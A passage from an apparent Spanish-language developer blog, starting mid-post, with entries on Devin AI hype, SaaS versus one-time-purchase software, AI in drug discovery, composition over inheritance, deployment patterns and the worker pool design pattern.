¿Cómo cuales características? Segun sus creadores, Devin AI puede :

Usar tecnologías que no le son familiares
Crear y desplegar aplicaciones
Encontrar bugs automáticamente
Entrenar sus propios modelos de AI
Contribuir a madurar repositorios
Resolver proyectos reales en Upwork (bastante más que resolver problemas de código de entrevistas )

¿Quienes están detrás de Devin AI?

Detrás de Devin AI se encuentra Cognition labs, una empresa relativamente nueva que se habia mantenido tras bambalinas hasta ayer. Su cuenta de Twitter tiene menos de dos días al momento de escribir este artículo (aunque ya acumula más de 86 k de seguidores).

Today we're excited to introduce Devin, the first AI software engineer.

Devin is the new state-of-the-art on the SWE-Bench coding benchmark, has successfully passed practical engineering interviews from leading AI companies, and has even completed real jobs on Upwork.

Devin is… pic.twitter.com/ladBicxEat
— Cognition (@cognition) March 12, 2024

¿Quienes componen Cognition labs?

Hay cerca de 10 miembros, entre los cuales suman más de 10 medallas de oro en la Olimpiada Internacional de Informática y cuyos miembros parecen haber estado involucrados en proyectos relacionados con AI en empresas como Google, DeepMind y Scale AI. Por lo que se puede hablar de un grupo con cierto nivel de experiencia.

Representación ficticia y caricaturesca de los creadores de Devin AI

¿Quienes financian el proyecto?

Hasta el momento Cognitive Labs afirma haber recaudado cerca de 21 MDD en una ronda liderada por Founders Fund, entre los que destaca el inversionista Peter Thiel, ex-director de Paypal.

Fuente: https://knowyourmeme.com/photos/2402121-peter-thiel

¿Qué va a pasar con los programadores? ¿están en riesgo?

Pues, es complicado saberlo con certeza, dada la poca información al respecto. Sin embargo yo propongo un par de escenarios probables:

Devin AI reemplazará a los progamadores y revolucionará la industría.
Devin AI no estará a las alturas de las circunstancias y caerá en el olvido.

Devin AI reemplazará a los programadores y les quitará el trabajo

¿Quién crees que ganaría en una batalla por producir más libros? ¿1000 escribas del antiguo Egipto o una fotocopiadora conectada a una computadora?

Yo opino que la segunda opción, simplemente las capacidades de la impresora para producir páginas más rápido, con menos errores y en una fracción del tiempo, están más allá de las posibilidades de los escribas. Aunque es cierto que se requiere a una persona que configure y utilice la impresora, eso no implica que los escribas tengan alguna oportunidad. De manera análoga, si bien aún se requerirán programadores y se “crearán más trabajos” como se afirma usualmente, la verdadera cuestión es: ¿cuantos trabajos se perderán por cada nuevo trabajo que se cree?

Sigamos con este experimento mental, supongamos, por un momento, que Devin AI hace exactamente lo que dice. Dado que Devin AI es una herramienta, aún requiere del input de un ser humano para funcionar, por lo que el “output”, es decir su desempeño, dependerá de que tan bueno sea su “input”, es decir, la persona que le de las instrucciones.

Esto se traduce en que la profesión de prompt engineer se volverá una realidad, y con la consecuencia de que aquellas personas con capacidades superiores de abstracción, escritura y léxico se volverán prácticamente dioses de esta nueva utopia (o distopia, según como lo veas).

Además, todas aquellas profesiones encargadas de perfeccionar los modelos de AI se volverán profesiones con una altísima demanda, puesto que cualquier empresa que quiera competir y mantenerse a flote necesitará uno.

Nuevas oportunidades tras el fin de la programación

Conseguir un trabajo si eres nuevo en la industría será bastante complicado, pero al mismo tiempo la barrera para crear negocios digitales disminuirá y será más importante el identificar y resolver problemas. Volverte un solopreneur o un freelance será increíblemente sencillo, pues las habilidades técnicas requeridas se reducirá significativamente y quizás sea mejor que apuntes hacia esa dirección.

¿Qué tan probable veo este escenario? La verdad es que yo lo considero un escenario bastante improbable, casi rayando en lo imposible.

¿Por qué creo que Devin AI no reemplazará a los programadores?

Si lo que los creadores de Devin AI dicen, les sería más fácil crear una agencia de desarrollo de software que operara con un mínimo de empleados y limitarse a vender software, la ventaja competitiva que tienen dependería solo del poder de computo que pudieran conseguir, consiguiendo el monopolio en muy poco tiempo.

Devin aún no ha sido puesto a prueba en condiciones reales, donde las problemas pueden ser extremadamente complejos y consistir en una mezcla entre el conocimiento del negocio, las leyes vigentes del país donde corren las aplicaciones, el caprichoso comportamiento del mercado, lo cual ciertamente requiere algo más parecido a una AGI, que cualquier modelo de lenguaje que ellos hayan podido desarrollar, incluso si este es superior a la versión más actualizada de ChatGPT.

A mi la verdad el título de “Ingeniero de Software de AI” me parece colocar la barra bastante alto y puede que Devin AI no esté a la altura de las expectativas.

Devin AI es solo hype temporal y será olvidado pronto

La segunda posibilidad es que no pase nada. Sí, nada.

Ha sucedido múltiples veces en el pasado; toda gran idea olvidada empieza con la promesa de revolucionar el mundo, tal como sucedió con el no-code o con Dreamweaver (Un editor WYSIWYG para crear sitios web de 2007). Ambas fueron tecnologías que de un momento a otro amenazaron con cambiar para siempre el mundo de la tecnología, y no lo consiguieron.

¿Recuerdas Agent Swarm AI ? También generó muchas expectativas pero al final no cristalizó en nada.

Hasta ahora Copilot, ChatGPT y probablemente Devin AI no han sido más que “búsquedas de google” con esteroides; pueden darte la información que solicitas directamente, pero no necesariamente es real y a prueba de fallos. El proceso iterativo que ofrece este sistema mejora bastante la dinámica usual de pregunta-respuesta, pero no deja de ser inmune a caer en bucles producto de problemas que no pueda resolver o a producir algo totalmente distinto a lo que se le pide, por ahora necesitamos ponerlo a prueba mucho más.

La comunidad de desarrolladores no se han quedado de brazos cruzados y han creado un Devin de código abierto, llamedo Open Devin AI .

Además de los puntos anteriores, hay otro aspecto que estamos obviando.

El aspecto financiero de la Inteligencia Artificial

Déjame describirte una situación:

Un grupo de emprendedores presentan un producto novedoso.
Se viraliza y todos hablan de como cambiará por siempre nuestro día a día
Los creadores reciben capital semilla de muchísimos inversionistas
Se termina convirtiendo en una herramienta más y todo sigue igual

¿Te suena a algo parecido? Quizás Devin AI solo sean un grupo de personas buscando volverse millonarias de la noche a la mañana.

Piensa programador piensa

Considera que, en el mundo del dinero, las apariencias juegan un rol primordial. Ahora mismo son pocas las personas que han tenido acceso a Devin AI, las cuales hablan maravillas de la herramienta. Suena demasiado bien ¿no? Todo esto podría ser una campaña de marketing muy bien pensada para inflar las expectativas, atraer inversores y conseguir financiamiento “fácil”. Ya sabes, la clásica burbuja de AI .

Pero, ¿No acaba Peter Thiel de invertir dinero? Sí, pero eso no significa nada, no estás pensando como inversionista, sino como ingeniero.

Si eres un iversionista, no te interesa si el proyecto existe por un mes, dos meses, una década o dos, o siquiera el impacto social que tenga o su viabilidad técnica, lo único importante es que te sea lo suficientemente rentable de acuerdo a tus propios criterios de inversión. En otras palabras: ¿Qué más da si el proyecto muere si puedo convertir 21 MDD en 40 MDD en menos de un año?

Si Devin AI es tan bueno, ¿por qué no usarlo para crear su propia web completa?

Llama bastante mi atención que la manera de solicitar acceso a Devin AI sea a través de un google form en lugar de usar una App desarrollada con el mismo modelo, lo cual sería la perfecta carta de presentación de esta tecnología. Después de todo, no es como si estuviera fuera de las capacidades de su modelo, no es una aplicación con 1000 microservicios, balanceo de carga, streaming y un engine de recomendaciones, es un banal formulario de registro.

De los dos escenarios que te propuse, yo considero más probable aquel en el que Devin AI cae en el olvido como la promesa que nunca dejó de ser, pero esperemos un año o dos y veamos juntos si Devin AI está a la altura de lo que promete. Mi apuesta es que Devin no sustituirá a los programadores.

Una manera más eficiente de funcionar que la de Devin AI

Algunas compañias abandonaron la idea de reemplazar desarrolladores y se enfocaron en volverse herramientas de creación de código, como Bolt, Lovable o V0

SAAS y OTS como modelos de negocios y mi opinión sobre Once

Thu, 22 Feb 2024 00:00:00 +0000

No es un secreto que estos últimos días el software, en general, tiende hacia un modelo de negocio SAAS. Sin embargo si estuviste ahí cuando fueron escritas las sagradas escrituras del internet, sabrás que esta tendencia es más bien reciente.

OTS y software como producto físico

Cuando internet comenzó a ser usado, era una práctica común vender el software como si fuera un producto cualquiera del supermercado; realizabas un único pago y el producto era tuyo, te pertenencía totalmente y eras libre de usarlo hasta el colapso inevitable de nuestra sociedad moderna.

No solo eso, sino que poseías físicamente fuera de los ordenadores; ya sea en forma de CDs, Diskettes y más adelante DVDs.

Pero, ¿era esta situación una decisión de las empresas? Bueno, sí y no, permíteme extender un poco este punto.

La falta de métodos de pago y lentitud del internet de antaño

Gran parte del software comercial era demasiado pesado, en proporción al tamaño de los dispositivos de almacenamiento, como para que pudiera descargarse sin problemas.

Antaño, las conexiones a internet eran increíblemente lentas e inestables, dejando de lado el ruido extraño que precedia a cada conexión, los viejos piratas de la internet saben de que hablo.

Pantalla de descarga de windows con un tiempo de espera en años

Por lo anterior, numerosas compañias optaron por distribuir su software por medio de CDs u otros medios externos.

Diskettes de instalación de Adobe Photoshop antiguos

Realizar pagos por internet no era algo común

Realizar pagos por internet era algo poco usual, paypal no existía y no había otras compañias que ofrecieran el servicio, además las personas veían con desconfianza el mundo de las transacciones en linea. No los culpo, el HTTPS no existía y ni hablar de estándares criptográficos fuertes que protegieran tus datos personales.

La llegada del SAAS, el modelo de pagos recurrentes y el SAAS hell

El panorama cambió e internet evolucionó, o quizás sea mejor decir que se corporativizó.

Compañias como Adobe crecieron y se dieron cuenta de que podían ahorrar muchísimo dinero eliminando la logística de distribuir productos físicos y centrarse únicamente en la oferta de su contenido a través la red.

Posteriormente, notaron que era más lucrativo rentar el software, probablemente debido a que:

Amortiguaban la variabilidad de las ventas. Ya no tenían que preocuparse por cambios bruscos en las ventas.
Garantizaban un flujo de caja constante que les permitía planear mejor sus costos dada la estabilidad.
El usuario era incapaz de usar versiones antiguas del software con costo cero.

Ofrecer SAAS les permitió a las empresas poner a disposición un producto o servicio al mercado con un modelo de negocio rentista y asegurarse de que si los clientes deseaban seguir usando un producto (o servicio) deberían pagar mes con mes u olvidarse de usarlo.

Esto afectaba principalmente a aquellas personas que actualizaban su software raramente. Pues si querían usarlo el siguiente mes, ahora debían de pagar.

Sin embargo, al mismo tiempo, permitió a las empresas liberar nuevas versiones de su software de manera más frecuente e iterar con mayor velocidad sobre la información que les proporcionaban los usuarios para mejorar su producto, lo que les permitiría mejorar su producto y hacerlo más atractivo a los clientes.

Dicho lo anterior, quizás pienses que migrar a un modelo de SAAS volvía millonarias a las empresas, pero no sucedió así, al menos no para Adobe.

Adobe volvió obligatorio el pago mensual en 2017

Aunque cabe resaltar que si las ganancias brutas no aumentaron radicalmente, su negocio de SAAS le permitió operar con un margen bruto del 93%. ¡Imagínate, 93%, el sueño más humedo de Jeff Bezos!

Fuente: https://tomtunguz.com/adobe-saas-growth

¿Fue un movimiento inteligente? Pues al menos lo parece, ya que lo han mantenido todos estos años, muchísimas empresas siguieron la tendencia junto con Adobe y adoptaron modelos de SAAS.

SAAS Hell

Conforme más empresas adoptaron el SAAS, pasamos a vivir en un mundo de CDs, DVDs y diskettes a otro con una larga lista de pagos mensuales por el software que usamos: netflix, slack, chatGPT, buffer, nuelink, X, Adobe, etc. Ofreciéndoles a las empresas unas ganancias recurrentes bastante convenientes y a nosotros una lista de cuentas por pagar cada mes.

Once y el regreso de OTS

Y justo en medio de este mar de SAAS aparece Once como una isla que ofrece refugio ante los embates de las compañias que quieren tenerte suscrito el mayor tiempo posible.

Once es una compañia que planea ir en contra de la tendencia actual del SAAS. Once afirma que es injusto que los clientes tengan que pagar tanto dinero sin jamás llegar a poseer el producto, similar al modelo rentista de propietario-arrendador, en donde el arrendador no va a poseer el bien inmueble, incluso aunque haya pagado una cantidad de dinero superior al bien del inmueble al propietario.

En su manifiesto, Once, con la elocuencia del mejor político, promete un único pago por su software y acceso al código, ondeando la bandera de una prometedora era post-SAAS.

El manifiesto de la compañia Once que promete un pago único en sus productos

Sorprendemente, su promesa no se basa en palabras vacias; han desarrollado una aplicación similar a Slack, llamada campfire, que promete reducir los costos de operación hasta en un 99.9% y que fue bastante bien recibida en X.

"Just look at that 3-year TOC. Campfire running on Hetzner would cost you $479 for 500 users over three years ($299 + 36 * $5). Slack with the same number of seats would cost you $270,000!!! The ONCE solution is literally 99.9% cheaper. It’s crazy." https://t.co/4eZHS5Xz6s
— DHH (@dhh) February 1, 2024

Algunas consideraciones del OTS y SAAS

¿Qué ventajas le veo yo? Pues la más obvia, el dinero, pagar $299 USD es mucho mejor que pagar una suscripción recurrente de $7.25/usuario/mes por décadas. El precio es increíblemente barato para una empresa (aunque un poco más significativo para un individuo, por lo que me quedaré con las ganas de probarlo). Sumado a esto, la obvia ventaja de un control total sobre los datos, pues la base de datos estará completamente en poder de los clientes y, sorpresivamente, acceso al código, lo que les permite extenderlo e integrarlo con otros sistemas(siempre y cuando la licencia lo permita).

¿Las desventajas? Debes estar seguro de que campfire no desaparecerá dejándote con un producto deprecado, sin soporte alguno. Eso sin contar con el aumento de responsabilidad, pues ahora tú serás el responsable de mantener funcionando la aplicación, ya sea directamente o contratando a otra persona, lo cual dependiendo del número de usuarios y la carga de trabajo puede o no ser rentable.

Desde el punto de vista de Once, yo resaltaría que es desventajoso dotar del código fuente a tus clientes, pues te expones a que desarrollen productos competidores, pero no lo digo yo, algunas personas afirmaron en twitter que solo comprarían el producto para examinar el código y enfatizaron el mismo peligro potencial.

No todas las aplicaciones pueden volverse OTS

¿Se volverá tendencia el OTS y regresaremos a como funcionaba la industria del software antes? Yo lo dudo mucho, algunos negocios dependen completamente del modelo de SAAS y suscripbciones para funcionar; por ejemplo ChatGPT, Midjourney, Deepl y otras aplicaciones, cuyo valor radica en que su modelo de IA no caiga en manos de un competidor, la renta de la propiedad intelectual y la premisa de que sus propuestas están a salvo de la ingeniería inversa. Para todas estas empresas un modelo de SAAS y suscripciones es crucial para sus operaciones.

O considera el caso de Netflix, Hulu, HBO, disney plus, no esperabas que por una tarifa única te dejara descargar todo su catálogo de películas y series para siempre, ¿o si?

Tampoco veo a Adobe dando marcha atrás a los cambios que hizo y volviendo a ofrecer OTS en sus productos.

¿Y en el caso de startups? Yo no me atrevería a afirmar nada, quizás se vuelva una tendencia entre las nuevas startups ofrecer OTS en lugar de SAAS para monetizar rápidamente sus productos y servicios. Quizás me de una vuelta a esta entrada en un par de años y actualice lo que sucedió con esta promesa de un mundo nuevo.

Fuentes

Inteligencia Artificial Y Diseño De Farmacos Y Medicamentos para desarrolladores

Fri, 29 Dec 2023 00:00:00 +0000

Los usos de la inteligencia artificial van más allá de resolver problemas de código , e independientemente de si esta inteligencia artificial es consciente o no , tiene un sin fin de aplicaciones. Una de las aplicaciones más interesantes para la inteligencia artificial es el desarrollo de nuevos fármacos. Llevar un nuevo fármaco al mercado es un proceso arduo, costoso y que, en la mayoría de los casos, es infructuoso. La inteligencia artificial puede acelerar el proceso enormemente y reducir los candidatos a nuevos fármacos a unos cuantos, en lugar de a decenas de ellos.

Para este post voy a tomarme algunas libertades y voy a simplificar conceptos y a sacrificar algo (o mucho) de precisión en aras de un mejor entendimiento. Si tienes dudas sobre quien soy yo para hablar de estos temas, y sobre mis credenciales, siéntete libre de pedírmelas en redes sociales.

Primero voy a explicarte brevemente las bases del funcionamiento de un fármaco.

¿Cómo funciona un fármaco en humanos explicado para desarrolladores?

Cuando tú ingieres un fármaco por vía oral, este ingresa a tu sistema digestivo, es absorbido por este y transportado a tu sangre. Una vez en sangre, el sistema circulatorio se encarga de distribuirlo a todo el cuerpo. La sangre tiene contacto con todas tus células. Cuando el fármaco alcanza a las células correctas, se une a unos receptores celulares, los cuales disparan una función normal de la célula; ya sea liberar insulina al cuerpo, bloquear la secreción de alguna hormona.

A nivel código, puedes pensar en un fármaco como una función que llama a otra función que ya existe en el cuerpo humano:

function releaseInsulin(){}

function administerDrug(drug){
  // ...
  releaseInsulin()
}

¿Cómo sabe el fármaco sobre que células debe actuar?

La relación entre un fármaco y un receptor celular sigue un mecanismo similar al de llave-cerradura, donde el fármaco (la llave) únicamente va a activar las funciones de aquellas celúlas que tengan un receptor (la cerradura) que “encaje” con el fármaco.

Si encajan o no, depende de la estructura tridimensional de la molécula y del receptor.

function releaseInsulin(){}

function administerDrug(drug){
  if(isReceptorCompatible(cell, drug)){
    releaseInsulin()
  }
}

Y no solo eso, un fármaco puede encajar parcialmente en un receptor, lo cual puede provocar un efecto con menor intensidad que si lo hiciera perfectamente, y además, el no encajar perfectamente podría hacerlo activar otros receptores que desencadenarían efectos secundarios indeseados.

Mira como la molécula encaja perfectamente en este receptor

Los fármacos tienen efectos secundarios indeseables

Administrar un fármaco no es tan simple como un “A” produce “B”. Un fármaco no suele tener un solo efecto, sino múltiples. Existen incluso fármacos que tienen como efecto secundario la posibilidad de muerte súbita, sí, así como lo estás leyendo, lo tomas y existe una posibilidad (ínfima, eso sí) de que caigas muerto.

Un fármaco óptimo va a provocar el efecto deseado con un mínimo de efectos secundarios, tanto a corto como a largo plazo.

function releaseInsulin(){}

function applyDrug(drug){
  if(isReceptorCompatible(cell, drug)){
    // desired effects
    releaseInsulin()
    // undesired effects
    increaseDizzyness()
    createRash()
  }
}

¿Cuánto dura un fármaco en el cuerpo?

Bien, la respuesta a eso es “depende”. Depende de cada fármaco, algunos pueden durar minutos, otros pueden durar horas y de otros podemos encontrar trazas incluso semanas o meses después. Pero, generalmente todos siguen el mismo patrón, las mismas fases y siempre en este mismo orden:

Absorción: Si la vía de administración es intravenosa es instantáneo
Distribución: La sangre se encarga de llevarlo a todo el cuerpo y sus propiedades fisicoquímicas determinan donde permanece.
Metabolismo: Generalmente el hígado empieza a descomponer el fármaco y con ello termina su efecto.
Excreción: Mayormente se excreta por los riñones, con la orina.

¿De qué depende que un fármaco funcione y sus efectos secundarios?

Como te mencioné anteriormente, el que un fármaco active o no el receptor de una célula depende de si encaja con su “cerradura”. Lo anterior lo define su estructura tridimensional. Por esta razón, si dos fármacos se parecen, es probable provoquen efectos similares, pero al ser diferentes uno de ellos provocará menores efectos secundarios.

Generalmente un fármaco mantiene una estructura base, sin la cual no posee efecto, y pequeñas variaciones en esa estructura base son las que determinan la intensidad del efecto terapéutico y los secundarios. La parte difícil es intentar deducir cual combinación será la mejor.

Todas las penicilinas tienen en común la estructura en amarillo. Estas dos difieren en la parte resaltada en rojo

Observa las moléculas de arriba, un solo cambio desemboca un comportamiento diferente en el cuerpo, ¿te imaginas la cantidad de variantes que podemos tener para un solo fármaco? Cada una con diferentes propiedades, estructura y, por ende, con diferentes intensidades respecto a su efecto terapéutico y con una combinación única de efectos secundarios.

¿Qué pasas si en lugar de un Oxígeno usamos un azufre, o si removemos la estructura grandota del lado izquierdo con forma de hexágono (benceno) y la reemplazamos por dos carbonos? ¿y si en lugar de dos carbonos usamos tres o cuatro?

Es muy dificil predecirlo de manera manual, pero es justo aquí donde la inteligencia artificial puede brillar.

Inteligencia artificial y desarrollo de fármacos

La inteligencia artificial es capaz de reconocer patrones que los seres humanos no podemos, puede analizar la información relacionada con una gran cantidad de moléculas y sus variantes; sus efectos secundarios, su estructura tridimensional, biodisponibilidad, polaridad, presencia de grupos funcionales y cualquier otra información ya existente sobre cada una de estas moleculas, y usarlos para entrenar un modelo que prediga si una molécula tiene el potencial de convertirse en un buen candidato a fármaco para sus posteriores análisis y pruebas en animales y humanos.

Fluoxetina, un antidepresivo que actua bloqueando un receptor

Creo que este será uno de los usos más prometedores que se le darán una vez que la burbuja de AI estalle . Mientras tanto, algunos ven a la IA como un culto delirante que promete demasiado.

¿Qué parámetros debo de usar para entrenar un modelo de inteligencia artificial para descubrir nuevos fármacos?

Bien, pues ese es justo el meollo del asunto, la pregunta del millón de dólares. Si nunca has trabajado con sistemas biológicos y fármacos, te se sugiero que le des una leída a las bases de farmacocinética, farmacodinámica y estereoquímica.

Las células son sistemas increíblemente complejos en donde hay un sin número de partes interaccionando entre ellas. No hay una respuesta simple a esta pregunta pues depende del tipo de célula, el tipo de fármaco que se esté usando, incluso factores tan banales como el tipo de alimentación y la hora a la que se administra un fármaco (cronofarmacología) pueden introducir ruido en el comportamiento de estos en un paciente.

Además, hay diferentes aproximaciones que van desde la estructura tridimensional, tomando en cuanto los grupos funcionales o átomos que componen una molécula, así como sus múltiples propiedades fisicoquímicas, entre la que destaca su solubilidad en lípidos, pues indica que tan fácil cruzará las membranas de las células; mayor solubilidad en lípidos, mayor distribución en el cuerpo.

La mayoría de la gente piensa que la química consiste en mezclar cosas y ver cómo cambian los colores, pero en realidad las matemáticas desempeñan un papel fundamental en la química y hay ecuaciones para todo, desde como calcular cuanto añadir de una sustancia hasta para predecir cuanto es el remanente de una sustancia en el organismo de acuerdo a sus propiedades fisicoquímicas.

Bases de datos para fármacos disponibles

Hay muchísimas bases de datos disponibles con información recopilada sobre muchísimas moléculas que puedes usar para alimentar tus modelos.

Me atrevo a decir que aunque el proceso no será perfecto y estará lleno de tropezones, dado que el cuerpo humano es un sistema sumamente complejo, será mucho mejor que buscar a ciegas entre un sin fin de opciones.

Si estás interesado en el tema, un buen lugar para empezar es este artículo titulado Artificial intelligence for drug discovery: Resources, methods, and applications

Composicion Sobre Herencia en POO explicada con Legos

Wed, 11 Oct 2023 00:00:00 +0000

El paradigma de Composition over inheritance, o composición sobre herencia es un tema recurrente en la programación orientada a objectos. Generalmente, se explica de una manera muy compleja, pero hoy voy a tratar de simplificarlo al punto en que los puristas me detesten.

Composition vs inheritance diagrama

Empezamos, imagina que tienes una gigantesca caja de ladrillos LEGO, sí, esos pequeños bloques de plástico que causan un dolor inimaginable cuando los pisas. Pero, en este caso, no los usaremos para causar dolor sino para construir diferentes tipos de automóviles.

Herencia o composición

Para construir nuestros diminutos automóviles de LEGO, existen dos maneras:

Herencia: Puedes empezar con un diseño de automóvil básico, y luego hacerle cambios para crear diferentes tipos de automóviles. Pero, a veces, esto puede ser un completo desastre, puesto que puedes terminar con algunos automóviles extraños que no funcionarán correctamente.

Empiezas con un coche y vas cambiando piezas. Todos los derechos de esta imagen pertenecen a LEGO

Composición: En lugar de empezar con un automóvil básico y cambiarlo, puedes utilizar piezas LEGO más pequeñas para construir las diferentes partes de un automóvil, como ruedas, puertas y ventanas. Luego, junta esas piezas para crear distintos tipos de automóviles. De esta forma, tienes más control y flexibilidad para crear exactamente el tipo de coche que quieres sin hacer un desastre.

Empieza con las piezas y empieza a montar tu coche. Todos los derechos de esta imagen pertenecen a LEGO

Composición vs herencia resumidos

Por lo tanto, la composición sobre la herencia significa que a menudo es mejor construir cosas poniendo partes más pequeñas juntas en lugar de cambiar una cosa grande para hacer algo nuevo.

Composition vs inheritance diagram

Composición sobre herencia, ejemplo

Y puesto en un ejemplo usando código en Python obtendriamos algo como:


# Inheritance o herencia
class Car:
    def start_engine(self):
        print("Starting engine")

class SportsCar(Car):
    def start_engine(self):
        print("Rrrrrrrr! Starting engine")

# Composition o composición
class Engine:
    def start(self):
        print("Starting engine")

class Car:
    def __init__(self):
        self.engine = Engine()

    def start_engine(self):
        self.engine.start()

class SportsCar:
    def __init__(self):
        self.engine = Engine()

    def start_engine(self):
        print("Vroooooom! Starting engine")

# Using Composition
regular_car = Car()
regular_car.start_engine()

fast_car = SportsCar()
fast_car.start_engine()

En el ejemplo de herencia, empezamos con un “Automóvil” de LEGO básico y lo modificamos para hacer un “SportsCar”. En el ejemplo de composición, construimos un “Automóvil” y un “SportsCar” combinando piezas más pequeñas, como el motor. Es como utilizar piezas de LEGO para construir coches, y nos da más control y flexibilidad a la hora de escribir nuestros programas.

Patrones De Deployment o Despliegue Útiles

Fri, 18 Aug 2023 00:00:00 +0000

¿Qué es un patrón de deployment o despliegue?

Un patrón de deployment (No confundir con un patrón de diseño ) es un método automático de implementar nuevas características de una aplicación a tus usuarios. Pero no se detiene ahí, es posible obtener información extra a partir de un deploy de una aplicación, pero… ¿cómo?

Imagínate que quieres probar una característica de tu aplicación web, pero temes que no vaya a ser del agrado de tus usuarios, o quieres ver si esta nueva característica sube o baja el porcentaje de conversiones en tu aplicación, lo cual es invaluable, sobre todo en las etapas tempranas de iteración de una aplicación.

¿Qué se puede hacer en estos casos? Lo mejor sería probarlo en una muestra representativa de tu público y, dependiendo de como responda, desecharla o implementarla al resto de los usuarios.

Patrones de despligue comunes

Existen una serie de patrones de despligue bastante usados:

Despliegue monolítico
Despliegue de microservicios
Containerization
Serverless Deployment
Continuous Integration (CI) / Continuous Deployment (CD)
Canary
Features toggles
Blue/Green
A/B Testing
Dark launches

Para este post voy a centrarme en los últimos patrones, puesto que son de los que menos he leído información en internet. Considera que los patrones de deploy o despligue pueden combinarse unos con otros. Por ejemplo, puedes realizar pruebas A/B sobre tu aplicación monolítica para encontrar la mejor versión. Dicho lo anterior, explicaré los patrones.

Canary deployment

Este patrón consiste en mostrar las nuevas características a un pequeño grupo de usuarios. Tras analizar y corregir el desempeño de las nuevas características y, si es conveniente, el deploy se extiende a la totalidad de usuarios.

graph LR; LoadBalancer-->Ver-1; LoadBalancer-->Ver-2-Canary;

Features toggles deployment

En lugar de liberar todos los cambios al mismo tiempo, este patrón esconde las características nuevas tras un switch, que se puede encender o apagar sin modificar el código. Esto permite liberar los cambios de manera gradual o solo a ciertos usuarios, lo que lo vuelve fácil de testear y administrar. Este método tiene la ventaja de que si un problema ocurre, puedes poner el switch en apagado sin necesidad de retornar el código a un estado anterior.

graph LR; Server-- on/off --> Feature1; Server-- on/off --> Feature2;

Blue/green deployments

En el deployment blue/green tenemos dos entornos similares de manera simultanea. Estos entornos se conocerán con el nombre de blue y green. En cualquier momento solo de los dos entornos se encontrará activo, mientras que balanceamos la carga de un entorno a otro. Si encontramos algun error simplemente ajustamos el balance de carga al lado contrario.

graph LR; LoadBalancer-->Stagging; LoadBalancer-.->Production;

A/B testing deployment

El testeo A/B es el clásico de toda la vida; un conjunto aleatorio de nuestros usuarios recibirá la version A de la aplicación, mientras que el resto recibirá la versión B. Posteriormente se usará estadísticas, específicamente la prueba T para dos muestras, para determinar cual versión (La A o la B) es más efectiva.

El porcentaje de distribución no necesariamente tiene que ser 50-50.

graph LR; LoadBalancer-->VersionA-->30["30%"]-->Analysis; LoadBalancer-->VersionB-->70["70%"]-->Analysis-->Statistics;

Dark launches deployment

Este tipo de patrón de deployment es bastante similar al Canary deployment, sin embargo en este caso los usuarios deben estar concientes de que están recibiendo una versión de prueba y deben conocer la nueva funcionalidad que está siendo puesta a prueba. Con este conocimiento los usuarios serán capaces de brindar feedback de la nueva funcionalidad.

graph LR; LoadBalancer-->Normal; LoadBalancer---|Inform the users|DarkLaunch;

Considera que muchos proyectos no llegan al tamaño necesario para que un patrón de deploy pueda resultar útil, y que si tu aplicación tiene pocos usuarios incluso puede resultar contraproducente. Empero, si no es el caso, puedes echar mano de uno o varios de ellos para extraer información valiosísima para tu aplicación.

Explicación del Patron De Diseño Worker Pool

Wed, 28 Jun 2023 00:00:00 +0000

Esta entrada va sobre un patrón de diseño, llamado Worker Pool (Piscina de workers o trabajadores suena espantoso, lo usaré en inglés) del que, en su momento, encontré muy poca información en español. Imagínate que tienes una serie de tareas concurrentes que quieres realizar, ya sea realizar crawling de muchos sitios web, o quizás procesar información de cada uno de los pixeles de una imagen o cualquier otra cosa que se te ocurra.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

La opción simplista es crear una serie de workers y usarlos de manera concurrente, algo parecido a este pseudocódigo:

for job in jobs:
    async process_concurrent_job()

Esto puede pintar bastante bien, al principio, pero tiene múltiples desventajas; La primera, se estarán creando workers sin control, lo que puede incrementar el uso de memoria de tu programa increíblemente rápido; la segunda, estás creando y destruyendo workers constantemente, lo cual puede ser costoso para tu programa.

Si no hay un límite de workers, los workers seguirán creandose para igualar a las tareas

Lo mejor sería mantener el uso de memoria constante y evitar crear y destruir workers frecuentemente. Para esto, el patrón worker pool funciona perfecto.

Explicación interactiva del patrón Worker pool

Worker pool es un patrón de diseño que viene para suplir estas deficiencias.

Hay desarrolladores que han usado este patrón para manejar un millón de peticiones por minuto en go.

¿Cómo funciona el patrón de diseño worker pool?

Partimos de una cola de tareas por ejecutar, estas pueden estar fijas o crearse dinámicamente. Luego, en lugar de crear y destruir múltiples workers ( goroutines en el caso de go ) constantemente, creamos un número fijo de workers y las ponemos en un ciclo, en el que estarán escuchando constantemente información de la queue o cola de tareas (por medio de un canal o channel en el caso de lenguajes como Go ). De esta manera mantendremos nuestro manejo de memoria mucho más estable y predecible, además de que limitamos el impacto que ejercerían la creación y destrucción constantes de workers.

Por último, de manera opcional, podemos guardar los resultados de estas tareas en una cola desde la cual podrán ser leídos más adelante.

flowchart TD Job_1-->JobQueue Job_2-->JobQueue Job_3-->JobQueue subgraph WorkerPool JobQueue-->|job|Worker_1 JobQueue-->|job|Worker_2 JobQueue-->|job|Worker_n end

Job queue

Las tareas o jobs que queremos que se ejecuten por los workers se irán a una cola de tareas o job queue. Una queue normalita, como cualquier otra. Esta puede ser fija, o crearse al vuelo por medio de interacciones de los usuarios u otros sistemas.

classDiagram class JobQueue{ job 1 job 2 job 3 ... job n }

El pool

El pool inicializa y alberga el número de workers que establezcamos, generalmente querrás usar un archivo de configuración, variables de entorno u otro medio. Cada uno de estos workers tomará una tarea, la ejecutará y, cuando vuelva a estar disponible, buscará nuevamente una tarea del job queue para ejecutar y repetir el ciclo.

flowchart TD subgraph Pool JobQueue-->|job|Worker_1 JobQueue-->|job|Worker_2 JobQueue-->|job|Worker_3 JobQueue-->|job|Worker_4 JobQueue-->|job|Worker_n end

El worker

El worker se encarga de ejecutar las tareas y, como mencioné, estará escuchando por nuevas tareas o jobs permanentemente o hasta cierto límite que nosotros indiquemos, como que se agote el job queue, se ejecuten un número dado de tareas o cualquier otra condición que declaremos.

flowchart TD A[Se inicializa el worker] --> B{Quedan jobs o tareas en el queue?} B -->|Sí| C[Obtén y ejecuta un nuevo job o tarea] C --> B B ---->|No| E[Termina el worker]

La cantidad fija de workers asegúrara que, durante toda la ejecución del programa, habrá una cantidad máxima de tareas ejecutándose, lo que limitará el impacto en memoria de nuestras tareas concurrentes.

El queue de resultados del worker pool (opcional)

De manera opcional, podemos mandar el resultado de cada tarea ejecutada por un worker a un segunda cola; el queue de resultados, el cual podremos procesar posteriormente.

classDiagram class ResultsQueue{ result 1 result 2 result 3 ... result n }

